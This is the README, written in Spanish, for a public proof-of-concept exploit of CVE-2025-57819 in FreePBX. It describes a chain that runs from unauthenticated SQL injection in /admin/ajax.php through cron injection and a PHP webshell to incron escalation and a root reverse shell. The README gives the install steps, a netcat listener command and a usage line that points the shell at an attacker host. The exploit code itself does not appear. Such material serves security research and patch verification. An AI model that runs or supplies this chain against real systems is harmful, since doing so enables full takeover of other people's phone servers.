CVE-2025-57819 — FreePBX SQLi → RCE → Root

PoC de cadena completa para CVE-2025-57819. La inyección SQL basada en errores no autenticada en el módulo endpoint de FreePBX encadena hasta una shell root mediante la inyección de trabajos cron y la escalada de privilegios por incron.

Solo para pruebas autorizadas e investigación. No lo uses contra sistemas que no sean tuyos.

Qué hace

SQLi (EXTRACTVALUE) → INSERT cron job → webshell drop → incron trigger → root shell

1. Extrae información de la BD mediante inyección basada en errores en /admin/ajax.php
2. Inyecta un trabajo cron que escribe una webshell PHP en la raíz web
3. Espera a que se ejecute cron (~60s) y confirma RCE como asterisk
4. Crea un archivo de disparo incron que ejecuta el hook de fwconsole como root
5. Captura la reverse shell en tu listener

Instalación

git clone https://github.com/ozcanpng/CVE-2025-57819-FreePBX-RCE2Root
cd CVE-2025-57819-FreePBX-RCE2Root
pip install -r requirements.txt

Uso

python3 CVE-2025-57819.py <target> <lhost> <lport> [--cleanup]

Inicia un listener primero:

nc -lvnp 9999

Luego ejecuta:

python3 CVE-2025-57819.py freepbx.example.com 192.168.1.50 9999

--cleanup elimina la webshell y el trabajo cron después de la explotación.

Afectados

FreePBX con el módulo endpoint instalado. El parámetro brand en /admin/ajax.php se pasa sin sanitizar a una consulta SQL.

Referencias

• Aviso de seguridad de FreePBX GHSA-m42g-xg4c-5f3h
• NVD — CVE-2025-57819

Autor

ozcanpng — github.com/ozcanpng — ozcanpng.dev